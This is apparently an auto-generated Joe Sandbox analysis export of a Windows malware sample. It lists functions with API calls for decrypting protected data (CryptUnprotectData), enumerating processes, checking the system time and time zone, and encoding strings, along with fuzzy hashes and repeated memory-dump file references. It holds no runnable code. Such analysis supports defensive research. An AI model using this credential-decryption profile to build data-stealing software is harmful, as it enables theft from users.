Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N\
API String ID: 4291131564-3893816264
Opcode ID: 0a191cba07ab55e7c1034c3f340b42ac9a9256abdda5225915e739b4f16b9964
Instruction ID: 5d56217072e9df126ebe5b0b9c3d857b4668c72dd343ae0011878ac00f49fb88
Opcode Fuzzy Hash: 0a191cba07ab55e7c1034c3f340b42ac9a9256abdda5225915e739b4f16b9964
Instruction Fuzzy Hash: DA11A2B4240308BFEB14CFA4DC95FAA77B5FB89704F208058F9159B390C7B6A901CB90

Function 00996969 Relevance: 7.9, Strings: 5, Instructions: 1655COMMON

Download Yara Rule

Strings

]Z~, xrefs: 00996B4E
0-Ev, xrefs: 00997031
`+{, xrefs: 009969F5
~/1=, xrefs: 00996990
n)v, xrefs: 00996EE9

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0-Ev$]Z~$`+{$n)v$~/1=
API String ID: 0-4148330775
Opcode ID: a855b8925d7b461da36381b8bfa4c20796dc576db4bf834756655f7f99977079
Instruction ID: b9336a4e0cb0bd5db022cc87120ff2e81b799872489fa337fc39edbe11fed404
Opcode Fuzzy Hash: a855b8925d7b461da36381b8bfa4c20796dc576db4bf834756655f7f99977079
Instruction Fuzzy Hash: 34B205F360C2049FE308AE2DEC5567AB7E5EBD4720F1A893DE6C5C7344EA3598018696

Function 005CC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 005CC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 005CC87C
lstrcat.KERNEL32(?,005E0B46), ref: 005CC943
lstrcat.KERNEL32(?,005E0B47), ref: 005CC957
lstrcat.KERNEL32(?,005E0B4E), ref: 005CC978

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 270cf8d9a0537189995e4a4ef67beea1d681354e01fdbd20de09217e7b5762ed
Instruction ID: 98de9b140f99da0bb13f497af93db49621889aac8ec6d99385eeea497282963f
Opcode Fuzzy Hash: 270cf8d9a0537189995e4a4ef67beea1d681354e01fdbd20de09217e7b5762ed
Instruction Fuzzy Hash: 94418FB590420EDFDB54CF90DD89FFEBBB8BB48304F1045A8E509A6280D770AA84CF91

Function 005D6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 005D696C
sscanf.NTDLL ref: 005D6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005D69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005D69C0
ExitProcess.KERNEL32 ref: 005D69DA

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8d5c73d74c14d683a41c1127ae5e056dd7f952cc5817fcf499e557127c88b7f6
Instruction ID: dd4cc50086ad1e9498caca4e4b96ed32f3570bc1148eb5e270c13ecd52d45171
Opcode Fuzzy Hash: 8d5c73d74c14d683a41c1127ae5e056dd7f952cc5817fcf499e557127c88b7f6
Instruction Fuzzy Hash: 6421DF75D14209ABCF58EFE8D945AEEB7B5FF48300F04852EE406E3250EB345605CB69

Function 005C7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 005C724D
RtlAllocateHeap.NTDLL(00000000), ref: 005C7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 005C7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 005C72A4
LocalFree.KERNEL32(?), ref: 005C72AE

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 0e3630f2008ab53a81bd14c7080c5607704bd61f159c8bc6bd543b9f91b317d2
Instruction ID: f89f2fc331611890e4f5a3a131d20a020017b30ed56bd083c3540ca1ef120c12
Opcode Fuzzy Hash: 0e3630f2008ab53a81bd14c7080c5607704bd61f159c8bc6bd543b9f91b317d2
Instruction Fuzzy Hash: 0E010075A40308BFEB54DBD4CD45F9D7BB8BB44700F108558FB05AA2C0D6B0AA018B65

Function 005D9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 005D961E
Process32First.KERNEL32(005E0ACA,00000128), ref: 005D9632
Process32Next.KERNEL32(005E0ACA,00000128), ref: 005D9647
StrCmpCA.SHLWAPI(?,00000000), ref: 005D965C
CloseHandle.KERNEL32(005E0ACA), ref: 005D967A

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 06a118e4bddccfb289a5ca97c55672db70aae150a67d5354c414244b2938226c
Instruction ID: 3f2278d56819756fe927c67b9da74e2d3033791547277e6c42ce9f4249eea4e5
Opcode Fuzzy Hash: 06a118e4bddccfb289a5ca97c55672db70aae150a67d5354c414244b2938226c
Instruction Fuzzy Hash: 9E010C75A00308ABDB64DFA5CD48BEDBBF8FB48700F10819AA905A6340D734DB40CF51

Function 005D8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,005C5184,40000001,00000000,00000000,?,005C5184), ref: 005D8EC0

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: be41911feca92c719a471f8cee984ba0b682996ff98bc664cefb5e45675bb836
Instruction ID: 27a6a531f81f35474c4e75d64ddc4cd2db7051d96185d4d14184294124986492
Opcode Fuzzy Hash: be41911feca92c719a471f8cee984ba0b682996ff98bc664cefb5e45675bb836
Instruction Fuzzy Hash: 22110674200209BFDB54CF68D884FBA3BAABF89300F10995AF919CB350DB35E841DB60

Function 005D7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,014B0048,00000000,?,005E0E10,00000000,?,00000000,00000000), ref: 005D7A63
RtlAllocateHeap.NTDLL(00000000), ref: 005D7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,014B0048,00000000,?,005E0E10,00000000,?,00000000,00000000,?), ref: 005D7A7D
wsprintfA.USER32 ref: 005D7AB7

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: daa4cec5c0a63076861bf8ce352b758e29da89c0a0549f3283f1d94e15b96dc6
Instruction ID: 15090cf1752efefa20e2906e3e981bed9440c4ff728ebdebf782ba32a5456ddd
Opcode Fuzzy Hash: daa4cec5c0a63076861bf8ce352b758e29da89c0a0549f3283f1d94e15b96dc6
Instruction Fuzzy Hash: B5115EB1A45218EBEB64CB58DC49FA9BB78FB04721F1047AAE91A932C0D7745A40CF51

Function 0098AC3B Relevance: 5.4, Strings: 3, Instructions: 1660COMMON

Download Yara Rule

Strings

"s<, xrefs: 0098BC22
ZnM, xrefs: 0098B5D9
1"o, xrefs: 0098B14A

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1"o$ZnM$"s<
API String ID: 0-1236542812
Opcode ID: 6b622f83f2423f3232e4cb06f4d2f1bdd6bdba29c91ed6cea7dc89af3d4a7a0c
Instruction ID: 259b1a9766389324051a68de4640c0330d0e479db93a308a5e8ad45dd80af74e
Opcode Fuzzy Hash: 6b622f83f2423f3232e4cb06f4d2f1bdd6bdba29c91ed6cea7dc89af3d4a7a0c
Instruction Fuzzy Hash: 13B229F3A0C210AFD3046E2DEC8567AF7E9EF94320F1A493DEAC5C3744EA7558058696

Function 009932C9 Relevance: 5.3, Strings: 3, Instructions: 1566COMMON

Download Yara Rule

Strings

hQ, xrefs: 00993BE3
yO=, xrefs: 009936E5
F8|, xrefs: 00993967

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: F8|$hQ$yO=
API String ID: 0-4158459939
Opcode ID: 58c5f7520bf012fcc5ad1ca391ab1c59468e7f8e5f729cbb183a965ee91c23a1
Instruction ID: 0ebbca0b7d02a7d182d15fc63135f4e421ddd088eb422682a0743b9861ab2434
Opcode Fuzzy Hash: 58c5f7520bf012fcc5ad1ca391ab1c59468e7f8e5f729cbb183a965ee91c23a1
Instruction Fuzzy Hash: 7BB217F360C2009FE304AE2DEC8567ABBE5EF94720F1A492DE6C4C7744EA3598458797

Function 005D3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(005DE118,00000000,00000001,005DE108,00000000), ref: 005D3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 005D37B0

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 01345a7c1b2fb427954e0007519c16e93352d700dec0d122fcf7e9f27cd36283
Instruction ID: 1f3f14c79bbb8ee7da029333cbdf487a26328f5cdd5276a2d3a1141f39c83f1e
Opcode Fuzzy Hash: 01345a7c1b2fb427954e0007519c16e93352d700dec0d122fcf7e9f27cd36283
Instruction Fuzzy Hash: 2841F971A00A189FDB24DB58CC95B9BB7B4BB48702F4081D9E608EB2D0E7716EC5CF51

Function 005C9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 005C9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 005C9BA3
LocalFree.KERNEL32(?), ref: 005C9BD3

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: f697e6200aecfde99294a551fb3321ee91d5d6878fba47c11f2e91f150b5787a
Instruction ID: cfc2af688473a9793e100a7bb871fe3a1e785bfd5f21f186db5558089ebcf75a
Opcode Fuzzy Hash: f697e6200aecfde99294a551fb3321ee91d5d6878fba47c11f2e91f150b5787a
Instruction Fuzzy Hash: 3D11C9B8A00209EFDB04DF94D989EAE77B5FF88304F104598E915A7350D770AE10CFA1

Function 0099177F Relevance: 4.1, Strings: 2, Instructions: 1628COMMON

Download Yara Rule

Strings

E=_;, xrefs: 00992AE1
+#-, xrefs: 00991AC2, 00991AC6, 00991AC9, 00991AF5, 00991B84, 00991BC7, 00991BF5, 00991C1A, 00991C2F, 00991C43, 00991EDF, 00991F10

Memory Dump Source

Source File: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
